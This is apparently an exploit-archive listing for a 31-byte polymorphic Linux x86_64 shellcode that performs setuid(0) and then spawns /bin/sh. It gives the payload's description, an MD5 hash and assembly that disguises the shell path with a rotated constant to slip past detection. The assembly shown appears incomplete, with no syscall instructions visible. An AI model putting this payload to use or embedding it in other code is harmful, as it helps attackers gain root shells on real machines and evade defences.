Linux x86_64 Polymorphic Shellcode

31 bytes small Linux x86_64 polymorphic setuid(0) and execve(/bin/sh) shellcode.

MD5 | 08883ab6190cf0359248be21103b2f5d

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; For a detailed explanation of this shellcode see my blog post:

global _start

section .text

; setuid(0)
xor edi,edi
push rdi ; null terminator for the following string
push 105
pop rax
; push /bin//sh in reverse
mov rbx,0xd0e65e5edcd2c45e

; execve
ror rbx,1
mov al,59
push rbx
xchg esi,edi
push rsp
; store /bin//sh address in RDI, points at string
pop rdi
; Call the Execve syscall

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